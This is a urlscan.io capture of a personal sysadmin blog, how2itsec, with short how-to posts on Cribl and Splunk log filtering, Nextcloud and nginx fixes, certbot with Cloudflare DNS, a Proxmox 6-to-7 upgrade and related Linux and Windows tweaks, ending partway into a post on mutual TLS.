how2itsec.blogspot.com Open in urlscan Pro
2607:f8b0:4004:c19::84  Public Scan

Submitted URL: http://0711.zip/
Effective URL: https://how2itsec.blogspot.com/
Submission: On November 18 via api from LU — Scanned from US

Form analysis 2 forms found in the DOM

https://how2itsec.blogspot.com/search

<form action="https://how2itsec.blogspot.com/search" class="gsc-search-box" target="_top">
  <table cellpadding="0" cellspacing="0" class="gsc-search-box">
    <tbody>
      <tr>
        <td class="gsc-input">
          <input autocomplete="off" class="gsc-input" name="q" size="10" title="search" type="text" value="">
        </td>
        <td class="gsc-search-button">
          <input class="gsc-search-button" title="search" type="submit" value="Search">
        </td>
      </tr>
    </tbody>
  </table>
</form>

Name: contact-form

<form name="contact-form">
  <p></p> Name <br>
  <input class="contact-form-name" id="ContactForm1_contact-form-name" name="name" size="30" type="text" value="">
  <p></p> Email <span style="font-weight: bolder;">*</span>
  <br>
  <input class="contact-form-email" id="ContactForm1_contact-form-email" name="email" size="30" type="text" value="">
  <p></p> Message <span style="font-weight: bolder;">*</span>
  <br>
  <textarea class="contact-form-email-message" cols="25" id="ContactForm1_contact-form-email-message" name="email-message" rows="5"></textarea>
  <p></p>
  <input class="contact-form-button contact-form-button-submit" id="ContactForm1_contact-form-submit" type="button" value="Send">
  <p></p>
  <div style="text-align: center; max-width: 222px; width: 100%">
    <p class="contact-form-error-message" id="ContactForm1_contact-form-error-message"></p>
    <p class="contact-form-success-message" id="ContactForm1_contact-form-success-message"></p>
  </div>
</form>

Text Content

HOW2ITSEC







CRIBL - CHANGE VALUES TO LOWERCASE



Some logs (e.g. Microsoft Azure) sometimes are not fully normalized to all
lowercase characters. You can use Cribl to adjust those values by either use
the eval or mask function:





EVAL

_raw.toLowerCase()





https://docs.cribl.io/stream/eval-function/ 



> "The Eval Function adds or removes fields from events. (In Splunk, these are
> index-time fields.)"







MASK

You can also use Cribls mask function to hit all fields:

Regex = (.*)        <---- 1st Capturing Group (.*), see https://regex101.com/




g1.toLowerCase





https://docs.cribl.io/stream/mask-function/



> "The Mask Function masks, or replaces, patterns in events. This is especially
> useful for redacting PII (personally identifiable information) and other
> sensitive data."







at November 01, 2024 No comments:

Labels: Cribl, Logging, SIEM



FILTER LOGS IN SPLUNK - EXAMPLE FILTERING MONITOR PROBE CHECKS



When running Splunk you want to filter logs, for example to get rid of the many
health check probe querys from your monitoring system.


EXAMPLE FILTERING PRTG MONITORING PROBE REQUESTS USING PROPS.CONF AND
TRANSFORMS.CONF


1. Find the monitoring probes in the logs in splunk, e.g.:

10.148.227.111 - - [18/Jul/2024:23:21:06 +0200] "GET /login HTTP/1.1" 200 12882
"-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
10.148.227.111 - - [18/Jul/2024:23:21:06 +0200] "GET / HTTP/1.1" 302 5793 "-"
"Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
10.148.227.111 - - [18/Jul/2024:23:20:56 +0200] "GET /login HTTP/1.1" 200 12882
"-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
10.148.227.111 - - [18/Jul/2024:23:20:56 +0200] "GET / HTTP/1.1" 302 5790 "-"
"Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
10.148.227.121 - - [18/Jul/2024:23:12:17 +0200] "GET /login HTTP/1.1" 200 17480
"-" "Mozilla/5.0 (compatible; PaesslerCloudBot/1.0; https://www.paessler.com;
576bb8887fe66b1eece876e62e701b9e)"
10.148.227.121 - - [18/Jul/2024:23:12:16 +0200] "GET / HTTP/1.1" 302 5572 "-"
Mozilla/5.0 (compatible; PaesslerCloudBot/1.0; https://www.paessler.com;
576bb8887fe66b1eece876e62e701b9e)"
10.148.227.121 - - [18/Jul/2024:23:12:15 +0200] "GET /login HTTP/1.1" 200 17486
"-" "Mozilla/5.0 (compatible; PaesslerCloudBot/1.0; https://www.paessler.com;
576bb8887fe66b1eece876e62e701b9e)"
10.148.227.121 - - [18/Jul/2024:23:12:15 +0200] "GET /login HTTP/1.1" 200 17474
"-" "Mozilla/5.0 (compatible; PaesslerCloudBot/1.0; https://www.paessler.com;
576bb8887fe66b1eece876e62e701b9e)"

2. Create a regex, which finds the logs (which a precise match but as less cpu
steps as possible) using https://regex101.com/












In this example the following regexes where used:

Mozilla\/\d+\.\d+\s+\(compatible;\s+PRTG\s+Network\s+Monitor
Mozilla\/\d.\d\s\(compatible\;\sPaesslerCloudBot\/\d.\d
 

3. Create a dedicated splunk app for this log source or use the default splunk
search app and modify the props.conf. Create an entry which you map to the host,
source or sourcetype and tell it to use transforms.conf:




uspunk@ubu2401spl:/opt/splunk/etc/apps/search/local#
uspunk@ubu2401spl:/opt/splunk/etc/apps/search/local# cat props.conf
[...]

#filter prtg monitoring logs
[host::fqdn.of.logsource]
TRANSFORMS-t1=filter-prtg-from-access
TRANSFORMS-t2=filter-prtgcloud-from-access









4. Modify the transforms.conf of this same splunk app. Create an entry which you
map to the host, source or sourcetype and force it to the nullQueue:

uspunk@ubu2401spl:/opt/splunk/etc/apps/search/local#
uspunk@ubu2401spl:/opt/splunk/etc/apps/search/local# cat transforms.conf
#filter prtg logs von access.log von nextcloud
#
[filter-prtg-from-access]
REGEX = Mozilla\/\d.\d\s\(compatible\;\sPRTG\sNetwork\sMonitor
DEST_KEY = queue
FORMAT = nullQueue

[filter-prtgcloud-from-access]
REGEX = Mozilla\/\d.\d\s\(compatible\;\sPaesslerCloudBot\/\d.\d
DEST_KEY = queue
FORMAT = nullQueue

uspunk@ubu2401spl:/opt/splunk/etc/apps/search/local#

5. Reload the splunk configuration using
https://your.splunk.fqdn:8000/en-GB/debug/refresh 

6. Your logs should be filtered. If not, check the btool to see if another
splunk configuration takes precedence to your configuration:

./splunk btool props list
./splunk btool props list --debug
./splunk btool transforms list
./splunk btool transforms list --debug




at October 04, 2024 No comments:

Labels: PRTG, SIEM, Splunk



NEXTCLOUD SHOWS ERROR "DATA DIRECTORY AND YOUR FILES ARE PROBABLY ACCESSIBLE
FROM THE INTERNET"



Starting Nextcloud v29 the error "Data directory and your files are probably
accessible from the Internet".





 




CAUSE


root@prdanc2049:/var/www/nextcloud/config# pwd
/var/www/nextcloud/config
root@prdanc2049:/var/www/nextcloud/config#
root@prdanc2049:/var/www/nextcloud/config# cat config.php
<?php
$CONFIG = array (
  'passwordsalt' => 'Redacted',
  'secret' => 'Redacted',
  'trusted_domains' =>
  array (
    0 => 'localhost',
    1 => '10.68.127.123',
    2 => 'nextcloud',
    3 => 'mypublic.domain.com',
  ),
  'datadirectory' => '/mnt/ncdata',
  'dbtype' => 'pgsql',
[...]



SOLUTION

Remove the ip addresses, "localhost" and "nextcloud" from the trusted_domains in
/var/www/nextcloud/config/config.php

root@prdanc2049:/var/www/nextcloud/config# pwd
/var/www/nextcloud/config
root@prdanc2049:/var/www/nextcloud/config#
root@prdanc2049:/var/www/nextcloud/config# cat config.php
<?php
$CONFIG = array (
  'passwordsalt' => 'Redacted',
  'secret' => 'Redacted',
  'trusted_domains' =>
  array (
    0 => 'mypublic.domain.com',
  ),
  'datadirectory' => '/mnt/ncdata',
  'dbtype' => 'pgsql',
[...]




Information regarding trusted_domains in the config.php:
https://docs.nextcloud.com/server/stable/admin_manual/configuration_server/config_sample_php_parameters.html#trusted-domains



> Your list of trusted domains that users can log into. Specifying trusted
> domains prevents host header poisoning. Do not remove this, as it performs
> necessary security checks.
> 
> You can specify:
> 
>  * the exact hostname of your host or virtual host, e.g. demo.example.org.
> 
>  * the exact hostname with permitted port, e.g. demo.example.org:443. This
>    disallows all other ports on this host
> 
>  * use * as a wildcard, e.g. ubos-raspberry-pi*.local will allow
>    ubos-raspberry-pi.local and ubos-raspberry-pi-2.local
> 
>  * the IP address with or without permitted port, e.g. [2001:db8::1]:8080
>    Using TLS certificates where commonName=<IP address> is deprecated




at September 01, 2024 No comments:

Labels: Nextcloud, Troubleshooting



FIX NEXTCLOUD MISSING DATABASE INDEXES



 





Nextcloud adminsitration page shows the following waring:


The database is missing some indexes. Due to the fact that adding indexes on big
tables could take some time they were not added automatically. By running "occ
db:add-missing-indices" those missing indexes could be added manually while the
instance keeps running. Once the indexes are added queries to those tables are
usually much faster. Missing optional index "mail_messages_msgid_idx" in table
"mail_messages". Missing optional index "fs_storage_path_prefix" in table
"filecache".




SOLUTION

Login to your Nextcloud system and use the command "sudo -u www-data php
/var/www/nextcloud/occ db:add-missing-indices" to fix it.

 

root@nextcloud:~#
root@nextcloud:~# sudo -u www-data php /var/www/nextcloud/occ
db:add-missing-indices
Adding additional mail_messages_msgid_idx index to the oc_mail_messages table,
this can take some time...
oc_mail_messages table updated successfully.
Adding additional fs_storage_path_prefix index to the oc_filecache table, this
can take some time...
oc_filecache table updated successfully.
root@nextcloud:~#






at August 02, 2024 No comments:

Labels: Nextcloud, Troubleshooting



NEXTCLOUD BEHIND NGINX REVERSE PROXY ERROR ON IPHONE AND IPAD



When publishing a nextcloud website using a nginx reverse proxy, you might get
an error shown on Apple iOS iPhone and iPadOS iPads on all browsers - e.g.
Safari or Chrome: ERR_CONNECTION_CLOSED



SOLUTION

Add in the nginx reverse proxy configuration the following line:


proxy_hide_header Upgrade;

http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header 



> By default, nginx does not pass the header fields “Date”, “Server”, “X-Pad”,
> and “X-Accel-...” from the response of a proxied server to a client. The
> proxy_hide_header directive sets additional fields that will not be passed.
> If, on the contrary, the passing of fields needs to be permitted, the
> proxy_pass_header directive can be used.
> 
> Syntax: proxy_hide_header field;
> Default: — Context: http, server, location




NGINX GUI CONFIGURATION:

 1. Login to your Nginx Proxy Manager.
 2. Open the 3 dots settings menu of the NextCloud host and select “Edit”
 3. In the tab menu at the top of the window that has just opened select
    “Advanced” and insert the following in the “Custom Nginx Configuration” box:
    
    
    proxy_hide_header Upgrade;

 4. Click "save". 

 

Source:
https://help.nextcloud.com/t/nextcloud-behind-nginx-proxy-manager-and-safari-ios-macos-no-access/142234/13





at July 06, 2024 No comments:

Labels: Apple iOS, nginx, Troubleshooting



CERTBOT CLOUDFLARE DNS CHALLENGE ERROR --DNS-CLOUDFLARE-CREDENTIALS


When certbot is showing you the error "certbot: error: unrecognized arguments:
--dns-cloudflare-credentials" you might find the following helpful:



PROBLEM

root@linlxc033:~#
root@linlxc033:~# certbot certonly --dns-cloudflare --dns-cloudflare-credentials
/root/tls/certbot/cloudflare-api.key --preferred-challenges dns-01 -d
"somedomain.com" -d "*.somedomain.com"
usage:
  certbot [SUBCOMMAND] [options] [-d DOMAIN] [-d DOMAIN] ...

Certbot can obtain and install HTTPS/TLS/SSL certificates.  By default,
it will attempt to use a webserver both for obtaining and installing the
certificate.
certbot: error: unrecognized arguments: --dns-cloudflare-credentials
/root/tls/certbot/cloudflare-api.key
root@linlxc033:~#
root@linlxc033:~#




SOLUTION


Install the required package. This is the solution if you have installed
python3-certbot as an apt package:

sudo apt -y install python3-certbot-dns-cloudflare

This is the solution if you have installed certbot as a snap:

sudo snap set certbot trust-plugin-with-root=ok
sudo snap install certbot-dns-cloudflare


EXAMPLE

root@linlxc033:~#
root@linlxc033:~# sudo apt -y install python3-certbot-dns-cloudflare
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
[...]
root@linlxc033:~#
root@linlxc033:~# sudo snap set certbot trust-plugin-with-root=ok
root@linlxc033:~# sudo snap install certbot-dns-cloudflare
certbot-dns-cloudflare 2.8.0 from Certbot Project (certbot-eff✓) installed
root@linlxc033:~#
root@linlxc033:~#
root@linlxc033:~# certbot certonly --dns-cloudflare --dns-cloudflare-credentials
/root/tls/certbot/cloudflare-api.key --preferred-challenges dns-01 -d
"somedomain.com" -d "*.somedomain.com"
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for somedomain.com and *.somedomain.com   
Unsafe permissions on credentials configuration file:
/root/tls/certbot/cloudflare-api.key
Waiting 10 seconds for DNS changes to propagate

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/somedomain.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/somedomain.com/privkey.pem
This certificate expires on 2024-08-04.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in
the background.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
root@linlxc033:~#
root@linlxc033:~#


 


at June 01, 2024 No comments:

Labels: Certificates, TLS



COLOR HIGHLIGHT & TIMESTAMP YOUR BASH CLI PROMPT



 To color highlight your bash cli simply edit /etc/bash.bashrc and add the
following lines:



force_color_prompt=yes

    if [ "$LOGNAME" = root ] || [ "`id -u`" -eq 0 ] ; then
       
PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[01;34m\]#\033[00m\]
'
    else
        PS1='\u@\h:\w\$ '
    fi
 
Example:

Additionally you can show the timestamp by adding export PROMPT_COMMAND="echo -n
\[\$(date +%H:%M:%S)\]\ " into your ~/.bashrc file:



at May 04, 2024 No comments:

Labels: Linux



NEW PROXMOX VM DOES NOT BOOT



When adding a new VM (in this example the nextcloud appliance VM from
https://www.hanssonit.se/nextcloud-vm/) to an old version of proxmox like
version 6 (debian 10), the VM might not boot and stay stuck showing Booting from
Hard Disk ...






SOLUTION

 

 1. Update your proxmox system, e.g. from version 6 (debian 10 - "buster") to
    promox version 7 (debian 11 - "bullseye"), see
    https://pve.proxmox.com/wiki/Upgrade_from_6.x_to_7.0
    
 2. Import the VM again and start it
    




 



at April 06, 2024 No comments:

Labels: Proxmox, Troubleshooting



UPDATE PROXMOX 6.4.X TO 7.X



Updating a proxmox system from version 6.4.x to 7.x using
https://pve.proxmox.com/wiki/Upgrade_from_6.x_to_7.0


Proxmox VE 6.x is based on Debian 10.x which is called “buster”.
Proxmox VE 7.x is based on Debian 11.x which is called “bullseye”.

 1.  Make sure you have a backup of all VMs, Containers, Proxmox itself etc.
 2.  Login via SSH/CLI
 3.  Check your sources.list file, should look like this:
     
     cat /etc/apt/sources.list
     
     deb http://deb.debian.org/debian bullseye main contrib
     deb http://deb.debian.org/debian bullseye-updates main contrib
     # security updates
     deb http://security.debian.org bullseye/updates main contrib
     
     You may use sed -i
     's/buster\/updates/bullseye-security/g;s/buster/bullseye/g'
     /etc/apt/sources.list to update "buster" to "bullseye".
     
     
 4.  Check the enterprise repository:
     
     cat /etc/apt/sources.list.d/pve-enterprise.list
     
     
     When running Proxmox VE 7.x with No-Subscription use:
     
     
     deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription
     
     When running Proxmox VE 7.x with a subscription use:
     
     deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise
     
     
 5.  Check Proxmox version using:
     
     pveversion -v
     
     
 6.  Run the pve6to7 script
     
     root@prxmx024a:~# pve6to7
     = CHECKING VERSION INFORMATION FOR PVE PACKAGES =
     
     Checking for package updates..
     PASS: all packages uptodate
     
     Checking proxmox-ve package version..
     PASS: proxmox-ve package has version >= 6.4-1
     
     Checking running kernel version..
     PASS: expected running kernel '5.4.203-1-pve'.
     
     = CHECKING CLUSTER HEALTH/SETTINGS =
     
     SKIP: standalone node.
     
     = CHECKING HYPER-CONVERGED CEPH STATUS =
     
     SKIP: no hyper-converged ceph setup detected!
     
     = CHECKING CONFIGURED STORAGES =
     
     PASS: storage 'local' enabled and active.
     PASS: storage 'local-lvm' enabled and active.
     PASS: storage 'storageusbhdd01' enabled and active.
     
     = MISCELLANEOUS CHECKS =
     
     INFO: Checking common daemon services..
     PASS: systemd unit 'pveproxy.service' is in state 'active'
     PASS: systemd unit 'pvedaemon.service' is in state 'active'
     PASS: systemd unit 'pvestatd.service' is in state 'active'
     INFO: Checking for running guests..
     PASS: no running guest detected.
     INFO: Checking if the local node's hostname 'proxmox1' is resolvable..
     INFO: Checking if resolved IP is configured on local node..
     PASS: Resolved node IP '192.168.2.106' configured and active on single
     interface.
     INFO: Checking backup retention settings..
     INFO: storage 'local' - no backup retention settings defined - by default,
     PVE 7.x will no longer keep only the last backup, but all backups
     PASS: no problems found.
     INFO: checking CIFS credential location..
     PASS: no CIFS credentials at outdated location found.
     INFO: Checking custom roles for pool permissions..
     INFO: Checking node and guest description/note legnth..
     PASS: All node config descriptions fit in the new limit of 64 KiB
     PASS: All guest config descriptions fit in the new limit of 8 KiB
     INFO: Checking container configs for deprecated lxc.cgroup entries
     PASS: No legacy 'lxc.cgroup' keys found.
     INFO: Checking storage content type configuration..
     PASS: no problems found
     INFO: Checking if the suite for the Debian security repository is correct..
     INFO: Make sure to change the suite of the Debian security repository from
     'buster/updates' to 'bullseye-security' - in /etc/apt/sources.list:6
     SKIP: NOTE: Expensive checks, like CT cgroupv2 compat, not performed
     without '--full' parameter
     
     = SUMMARY =
     
     TOTAL:    20
     PASSED:   17
     SKIPPED:  3
     WARNINGS: 0
     FAILURES: 0
     root@prxmx024a:~#
     root@prxmx024a:~#
     
     
     
 7.  Run the pve6to7 script with the parameter -full
     
     root@prxmx024a:~#
     root@prxmx024a:~# pve6to7 --full
     = CHECKING VERSION INFORMATION FOR PVE PACKAGES =
     
     Checking for package updates..
     PASS: all packages uptodate
     
     Checking proxmox-ve package version..
     PASS: proxmox-ve package has version >= 6.4-1
     
     Checking running kernel version..
     PASS: expected running kernel '5.4.203-1-pve'.
     
     = CHECKING CLUSTER HEALTH/SETTINGS =
     
     SKIP: standalone node.
     
     = CHECKING HYPER-CONVERGED CEPH STATUS =
     
     SKIP: no hyper-converged ceph setup detected!
     
     = CHECKING CONFIGURED STORAGES =
     
     PASS: storage 'local' enabled and active.
     PASS: storage 'local-lvm' enabled and active.
     PASS: storage 'storageusbhdd01' enabled and active.
     
     = MISCELLANEOUS CHECKS =
     
     INFO: Checking common daemon services..
     PASS: systemd unit 'pveproxy.service' is in state 'active'
     PASS: systemd unit 'pvedaemon.service' is in state 'active'
     PASS: systemd unit 'pvestatd.service' is in state 'active'
     INFO: Checking for running guests..
     PASS: no running guest detected.
     INFO: Checking if the local node's hostname 'proxmox1' is resolvable..
     INFO: Checking if resolved IP is configured on local node..
     PASS: Resolved node IP '192.168.2.106' configured and active on single
     interface.
     INFO: Checking backup retention settings..
     INFO: storage 'local' - no backup retention settings defined - by default,
     PVE 7.x will no longer keep only the last backup, but all backups
     PASS: no problems found.
     INFO: checking CIFS credential location..
     PASS: no CIFS credentials at outdated location found.
     INFO: Checking custom roles for pool permissions..
     INFO: Checking node and guest description/note legnth..
     PASS: All node config descriptions fit in the new limit of 64 KiB
     PASS: All guest config descriptions fit in the new limit of 8 KiB
     INFO: Checking container configs for deprecated lxc.cgroup entries
     PASS: No legacy 'lxc.cgroup' keys found.
     INFO: Checking storage content type configuration..
     PASS: no problems found
     INFO: Checking if the suite for the Debian security repository is correct..
     INFO: Make sure to change the suite of the Debian security repository from
     'buster/updates' to 'bullseye-security' - in /etc/apt/sources.list:6
     SKIP: No containers on node detected.
     
     = SUMMARY =
     
     TOTAL:    20
     PASSED:   17
     SKIPPED:  3
     WARNINGS: 0
     FAILURES: 0
     root@prxmx024a:~#
     
     
 8.  Update your repository and packages:
     
     apt update
     
     
 9.  Now upgrade the packages:
     
     apt dist-upgrade
     
     
 10. Reboot to activate the new Kernel, to check if you got all packages, run
     'pveversion -v' and compare your output (all packages should have equal or
     higher version numbers): 
 11. Check Proxmox version using  
     
     pveversion -v






EXAMPLE:

root@prxmx024a:~#
root@prxmx024a:~# pve6to7
= CHECKING VERSION INFORMATION FOR PVE PACKAGES =

Checking for package updates..
PASS: all packages uptodate

Checking proxmox-ve package version..
PASS: proxmox-ve package has version >= 6.4-1

Checking running kernel version..
PASS: expected running kernel '5.4.203-1-pve'.

= CHECKING CLUSTER HEALTH/SETTINGS =

SKIP: standalone node.

= CHECKING HYPER-CONVERGED CEPH STATUS =

SKIP: no hyper-converged ceph setup detected!

= CHECKING CONFIGURED STORAGES =

PASS: storage 'local' enabled and active.
PASS: storage 'local-lvm' enabled and active.
PASS: storage 'storageusbhdd01' enabled and active.

= MISCELLANEOUS CHECKS =

INFO: Checking common daemon services..
PASS: systemd unit 'pveproxy.service' is in state 'active'
PASS: systemd unit 'pvedaemon.service' is in state 'active'
PASS: systemd unit 'pvestatd.service' is in state 'active'
INFO: Checking for running guests..
PASS: no running guest detected.
INFO: Checking if the local node's hostname 'proxmox1' is resolvable..
INFO: Checking if resolved IP is configured on local node..
PASS: Resolved node IP '192.168.2.106' configured and active on single
interface.
INFO: Checking backup retention settings..
INFO: storage 'local' - no backup retention settings defined - by default, PVE
7.x will no longer keep only the last backup, but all backups
PASS: no problems found.
INFO: checking CIFS credential location..
PASS: no CIFS credentials at outdated location found.
INFO: Checking custom roles for pool permissions..
INFO: Checking node and guest description/note legnth..
PASS: All node config descriptions fit in the new limit of 64 KiB
PASS: All guest config descriptions fit in the new limit of 8 KiB
INFO: Checking container configs for deprecated lxc.cgroup entries
PASS: No legacy 'lxc.cgroup' keys found.
INFO: Checking storage content type configuration..
PASS: no problems found
INFO: Checking if the suite for the Debian security repository is correct..
INFO: Make sure to change the suite of the Debian security repository from
'buster/updates' to 'bullseye-security' - in /etc/apt/sources.list:6
SKIP: NOTE: Expensive checks, like CT cgroupv2 compat, not performed without
'--full' parameter

= SUMMARY =

TOTAL:    20
PASSED:   17
SKIPPED:  3
WARNINGS: 0
FAILURES: 0
root@prxmx024a:~#
root@prxmx024a:~#
root@prxmx024a:~#
root@prxmx024a:~# pve6to7 --full
= CHECKING VERSION INFORMATION FOR PVE PACKAGES =

Checking for package updates..
PASS: all packages uptodate

Checking proxmox-ve package version..
PASS: proxmox-ve package has version >= 6.4-1

Checking running kernel version..
PASS: expected running kernel '5.4.203-1-pve'.

= CHECKING CLUSTER HEALTH/SETTINGS =

SKIP: standalone node.

= CHECKING HYPER-CONVERGED CEPH STATUS =

SKIP: no hyper-converged ceph setup detected!

= CHECKING CONFIGURED STORAGES =

PASS: storage 'local' enabled and active.
PASS: storage 'local-lvm' enabled and active.
PASS: storage 'storageusbhdd01' enabled and active.

= MISCELLANEOUS CHECKS =

INFO: Checking common daemon services..
PASS: systemd unit 'pveproxy.service' is in state 'active'
PASS: systemd unit 'pvedaemon.service' is in state 'active'
PASS: systemd unit 'pvestatd.service' is in state 'active'
INFO: Checking for running guests..
PASS: no running guest detected.
INFO: Checking if the local node's hostname 'proxmox1' is resolvable..
INFO: Checking if resolved IP is configured on local node..
PASS: Resolved node IP '192.168.2.106' configured and active on single
interface.
INFO: Checking backup retention settings..
INFO: storage 'local' - no backup retention settings defined - by default, PVE
7.x will no longer keep only the last backup, but all backups
PASS: no problems found.
INFO: checking CIFS credential location..
PASS: no CIFS credentials at outdated location found.
INFO: Checking custom roles for pool permissions..
INFO: Checking node and guest description/note legnth..
PASS: All node config descriptions fit in the new limit of 64 KiB
PASS: All guest config descriptions fit in the new limit of 8 KiB
INFO: Checking container configs for deprecated lxc.cgroup entries
PASS: No legacy 'lxc.cgroup' keys found.
INFO: Checking storage content type configuration..
PASS: no problems found
INFO: Checking if the suite for the Debian security repository is correct..
INFO: Make sure to change the suite of the Debian security repository from
'buster/updates' to 'bullseye-security' - in /etc/apt/sources.list:6
SKIP: No containers on node detected.

= SUMMARY =

TOTAL:    20
PASSED:   17
SKIPPED:  3
WARNINGS: 0
FAILURES: 0
root@prxmx024a:~#
root@prxmx024a:~# cat /etc/apt/sources.list
deb http://deb.debian.org/debian buster main contrib

deb http://deb.debian.org/debian buster-updates main contrib

# security updates
deb http://security.debian.org buster/updates main contrib

root@prxmx024a:~#
root@prxmx024a:~#
root@prxmx024a:~# sed -i
's/buster\/updates/bullseye-security/g;s/buster/bullseye/g'
/etc/apt/sources.list
root@prxmx024a:~#
root@prxmx024a:~# cat /etc/apt/sources.list
deb http://deb.debian.org/debian bullseye main contrib

deb http://deb.debian.org/debian bullseye-updates main contrib

# security updates
deb http://security.debian.org bullseye-security main contrib

root@prxmx024a:~#
root@prxmx024a:~# cat /etc/apt/sources.list.d/pve-enterprise.list
deb http://download.proxmox.com/debian/pve buster pve-no-subscription
#deb https://enterprise.proxmox.com/debian/pve buster pve-enterprise
root@prxmx024a:~#
root@prxmx024a:~# vi /etc/apt/sources.list.d/pve-enterprise.list
root@prxmx024a:~#
root@prxmx024a:~# cat /etc/apt/sources.list.d/pve-enterprise.list
deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription
#deb http://download.proxmox.com/debian/pve buster pve-no-subscription
#deb https://enterprise.proxmox.com/debian/pve buster pve-enterprise
root@prxmx024a:~#
root@prxmx024a:~#
root@prxmx024a:~#
root@prxmx024a:~# apt update
Hit:1 http://deb.debian.org/debian bullseye InRelease
Get:2 http://download.proxmox.com/debian/pve bullseye InRelease [2,768 B]
Get:3 http://deb.debian.org/debian bullseye-updates InRelease [44.1 kB]
Hit:4 http://security.debian.org bullseye-security InRelease
Get:5 http://download.proxmox.com/debian/pve bullseye/pve-no-subscription amd64
Packages [427 kB]
Fetched 474 kB in 0s (1,022 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
582 packages can be upgraded. Run 'apt list --upgradable' to see them.
root@prxmx024a:~#
root@prxmx024a:~# apt list --upgradable
[...]
root@prxmx024a:~# apt dist-upgrade
[...]
root@prxmx024a:~# reboot


at March 02, 2024 No comments:

Labels: Proxmox, Update



HACKERS DONT CARE ABOUT YOUR...



 In 2009 there was "New Zealands Hacker con" in Wellington, which had this
awesome picture:


Source: https://kiwicon.org/site_media/poster_shit.pdf

Hackers/Attackers dont care about your...


 * ...About your projects scope
 * ...It's managed by a third party
 * ...lt's a legacy system
 * ...lt's 'too critical to patcht'
 * ...About your outage windows
 * ...About your budget
 * ...You've always done it that way
 * ...About your Go-Live Date
 * ...lt's only a of concept
 * ...About Non-Disclosure Agreements
 * ...lt wasnt a requirement in the contract
 * ...lt's an intemal system
 * ...lt's really hard to change
 * ...lt's due for replacement
 * ...You're not sure how to fx it
 * ...lt's handled in the Cloud
 * ...About your Risk Register entry
 * ...The vendor doesnt support that configuration
 * ...lt's an interim solution
 * ...lt's [insert standard here]compliant
 * ...lt's encrypted on disk
 * ...The cost beneft doesn't stack up
 * ..."Nobody else could figure that Out"
 * ...You can't explain the risk to the Business
 * ...You've got Other priorities
 * ...About yourfaith in the competence of your intemal users
 * ...You dont have a business justifacation
 * ...You cant show Retum on Investment
 * ...You contracted out that risk


at February 02, 2024 No comments:





APT GET UPDATE FAILS AFTER VM SNAPSHOT RESET



After you reset your VM to a snapshot including RAM you might have to time from
the VM snapshot still active. So your apt get using https might fail due to the
wrong time: "*update source* is not valid yet (invalid for another 46min 26s)".

Example:

[11:14:04] root@linubu22nf435:~#
[11:14:07] root@linubu22nf435:~# date
Tue 31 Oct 2023 11:14:08 PM CET
[11:14:08] root@linubu22nf435:~#
[11:14:08] root@linubu22nf435:~# apt update && apt install -y
software-properties-common
Hit:1 http://ppa.launchpad.net/ondrej/php/ubuntu focal InRelease
Hit:2 http://archive.ubuntu.com/ubuntu focal InRelease
Hit:3 http://archive.ubuntu.com/ubuntu focal-backports InRelease
Hit:4 http://archive.ubuntu.com/ubuntu focal-security InRelease
Ign:5 https://download.webmin.com/download/repository sarge InRelease
Get:6 http://archive.ubuntu.com/ubuntu focal-updates InRelease [114 kB]
Hit:7 https://download.webmin.com/download/repository sarge Release
Reading package lists... Done
E: Release file for
http://archive.ubuntu.com/ubuntu/dists/focal-updates/InRelease is not valid yet
(invalid for another 46min 26s). Updates for this repository will not be
applied.
[11:14:20] root@linubu22nf435:~#
[11:14:23] root@linubu22nf435:~# sudo hwclock --hctosys
[11:15:06] root@linubu22nf435:~#
[12:37:53] root@linubu22nf435:~# date
Tue 31 Oct 2023 12:38:27 PM CET
[12:38:27] root@linubu22nf435:~#
[12:38:28] root@linubu22nf435:~#
 

Using sudo hwclock --hctosys you update your time and apt get and apt install
with https should work fine again.



at January 06, 2024 No comments:

Labels: Linux



MICROSOFT OFFICE ACCESS DOES NOT WORK TO WEBDAV SHARES



Since Microsoft released a patch for Windows in Q4-2023, access to WebDav shares
which use basic authentication is blocked:


EXAMPLE







Example with ionos webdav share:


English: "Microsoft Office has blocked access to
https://webdav.hidrive.ionos.com because the source uses a sign-in method that
may be unsecure


German: "Microsoft Office hat den Zugriff auf https://webdav.hidrive.ionos.com
blockiert, da die Quelle eine Anmeldemethode verwendet, die möglicherweise
unsicher ist."

 


SOLUTION


To fix this, you have to add the following registry key to Windows 11 with the
URL to your destination (in this example it is webdav.hidrive.ionos.com):

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Identity]
"basichostallowlist"="webdav.hidrive.ionos.com" 

 


at January 06, 2024 3 comments:

Labels: authentication, Microsoft, Windows



ALMOST PERFECT PROTECTION FOR WEBSITES AND OTHER SERVICES - MUTUAL TLS



Its hard to secure your IT services and applications. The list of possible
attacks is long, as shown in the Mitre Att&ck framework, the OWASP lists and so
on.

What helps drastically reducing the attack surface is to use mutual TLS
(explanations see
https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/ or
https://en.wikipedia.org/wiki/Mutual_authentication#mTLS or
https://www.youtube.com/watch?v=x7B5CwcxCDI or
https://www.ietf.org/rfc/rfc5246.txt) for authentication to establish access to
your service/application. If you use certificates to authenticate your clients
before accessing the first byte to of your service/application, you stop attacks
at OSI layer 5. The attackers cant reach OSI layer 6 and 7 which  contain the
most vulnerabilites and weaknesses by far.


I've asked ChatGPT to make a list to compare regular web applications with web
applications, which use mutual TLS:


